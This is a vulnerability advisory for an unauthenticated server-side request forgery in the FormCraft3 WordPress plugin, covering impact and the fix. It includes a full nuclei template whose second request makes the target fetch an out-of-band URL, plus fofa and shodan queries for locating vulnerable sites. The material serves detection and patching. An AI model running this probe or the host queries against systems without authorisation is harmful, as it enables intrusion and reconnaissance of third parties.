FormCraft3 <= 3.9.15 - Server-Side Request Forgery

highseverity

7.2CVSS score

0.6%likelihood of exploitation, next 30 days

48%of all CVEs are less likely

Readycheck to confirm it

Unauthenticated Server Side Request Forgery (SSRF) in FormCraft <= 3.9.15 versions.

Impact

An unauthenticated attacker can force the server to make HTTP requests to arbitrary internal or external URLs, potentially accessing cloud metadata services (AWS/GCP/Azure), internal network services, and sensitive data.

Fix

Update FormCraft3 to version 3.9.16 or later which adds nonce verification and authentication checks to the formcraft3_get AJAX endpoint.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/formcraft3/"
Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: WordPress"

Run it with nuclei: nuclei -id CVE-2026-65442 -u <target>

The full check

id: CVE-2026-65442

info:
  name: FormCraft3 <= 3.9.15 - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    Unauthenticated Server Side Request Forgery (SSRF) in FormCraft <= 3.9.15 versions.
  impact: |
    An unauthenticated attacker can force the server to make HTTP requests to arbitrary internal or external URLs, potentially accessing cloud metadata services (AWS/GCP/Azure), internal network services, and sensitive data.
  remediation: |
    Update FormCraft3 to version 3.9.16 or later which adds nonce verification and authentication checks to the formcraft3_get AJAX endpoint.
  reference:
    - https://patchstack.com/database/wordpress/plugin/formcraft/vulnerability/wordpress-formcraft-plugin-3-9-15-server-side-request-forgery-ssrf-vulnerability
    - https://wpscan.com/vulnerability/a8ce5ff4-dd4c-411c-9b34-7824a75742b6/
    - https://github.com/advisories/GHSA-xvfc-pj4j-wr9x
    - https://nvd.nist.gov/vuln/detail/CVE-2026-65442
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0591
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-65442
    epss-score: 0.00582
    epss-percentile: 0.4816
    cwe-id: CWE-918
    cpe: cpe:2.3:a:subtlewebinc:formcraft3:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: subtlewebinc
    product: formcraft3
    framework: wordpress
    fofa-query: body="formcraft3" && body="wp-"
    shodan-query: http.component:"wordpress" http.html:"formcraft3"
  tags: cve,cve2026,wp,wp-plugin,wordpress,formcraft3,ssrf,subtlewebinc,vkev,oast

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - "/wp-content/plugins/formcraft3/"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: WordPress"

References

Use this check only on systems you are authorised to test. Where the data comes from